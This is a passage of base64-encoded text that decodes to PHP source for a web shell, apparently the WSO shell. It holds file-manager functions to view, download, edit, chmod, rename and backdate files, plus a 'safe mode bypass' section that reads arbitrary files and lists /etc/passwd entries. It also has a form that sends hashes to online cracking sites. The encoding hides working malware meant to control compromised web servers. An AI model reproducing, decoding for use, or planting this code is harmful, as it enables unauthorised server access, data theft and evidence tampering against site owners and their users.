XJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgIGlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOyANCiAgICB9IA0KICAgIGVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggdGV4dCBpbiBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogIA0KICAgICAgICA8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+IA0KICAgICAgICAgICAgPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8L3RhYmxlPjwvZm9ybT4iOyANCiAgDQogICAgZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgeyANCiAgICAgICAgaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKSANCiAgICAgICAgICAgICRwYXRoLj0nLyc7IA0KICAgICAgICAkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsgDQogICAgICAgIGlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7IA0KICAgICAgICAgICAgZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsgDQogICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkaXRlbSkpeyANCiAgICAgICAgICAgICAgICAgICAgaWYoJHBhdGghPSRpdGVtKSANCiAgICAgICAgICAgICAgICAgICAgICAgIHdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmKEAkX1BPU1RbJ3AzJ10pIA0KICAgICAgICB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsgDQogICAgZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IA0KICANCiAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFjay5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcuaW5mbycgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcuaW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiANCiAgICAgICAgPC9mb3JtPjwvZGl2PiI7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsgDQogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKSANCiAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7IA0KICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsgDQogICAgICAgIGlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOyANCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsgDQogICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsgDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7IA0KICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZnApKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsgDQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfWV4aXQ7IA0KICAgIH0gDQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7IA0KICAgICAgICBpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICJlZGl0IjsgDQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7IA0KICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOyANCiAgICAgICAgd3NvRm9vdGVyKCk7IA0KICAgICAgICByZXR1cm47IA0KICAgIH0gDQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOyANCiAgICBpZighJHVpZCkgeyANCiAgICAgICAgJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOyANCiAgICB9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOyANCiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7IA0KICAgIGVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOyANCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApIA0KICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7IA0KICAgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKSANCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOyANCiAgICBlbHNlDQogICAgICAgICRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOyANCiAgICBmb3JlYWNoKCRtIGFzICR2KSANCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsgDQogICAgZWNobyAnPGJyPjxicj4nOyANCiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7IA0KICAgICAgICBjYXNlICd2aWV3JzogDQogICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOiANCiAgICAgICAgICAgIGlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsgDQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOyANCiAgICAgICAgICAgICAgICAkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnY2htb2QnOiANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsgDQogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkgDQogICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7IA0KICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOyANCiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdlZGl0JzogDQogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICAgICAgZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7IA0KICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsgDQogICAgICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOyANCiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hleGR1bXAnOiANCiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgJG4gPSAwOyANCiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOyANCiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOyANCiAgICAgICAgICAgIGZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgeyANCiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOyANCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICRuKys7IA0KICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgeyANCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30gDQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsgDQogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAncmVuYW1lJzogDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7IA0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICd0b3VjaCc6IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOyANCiAgICAgICAgICAgICAgICBpZigkdGltZSkgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnVG91Y2hlZCEnOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7IA0KICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7IA0KICAgICR0ZW1wPScnOyANCiAgICBvYl9zdGFydCgpOyANCiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICBjYXNlIDE6IA0KICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOyANCiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7IA0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsgDQogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsgDQogICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgMjogDQogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOyANCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkgDQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDM6IA0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLnByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOyANCiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSA0OiANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsgDQogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7IA0KICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSA1OiANCiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgeyANCiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgIGlmICgkdWlkKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogICAgfSANCiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBlY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNS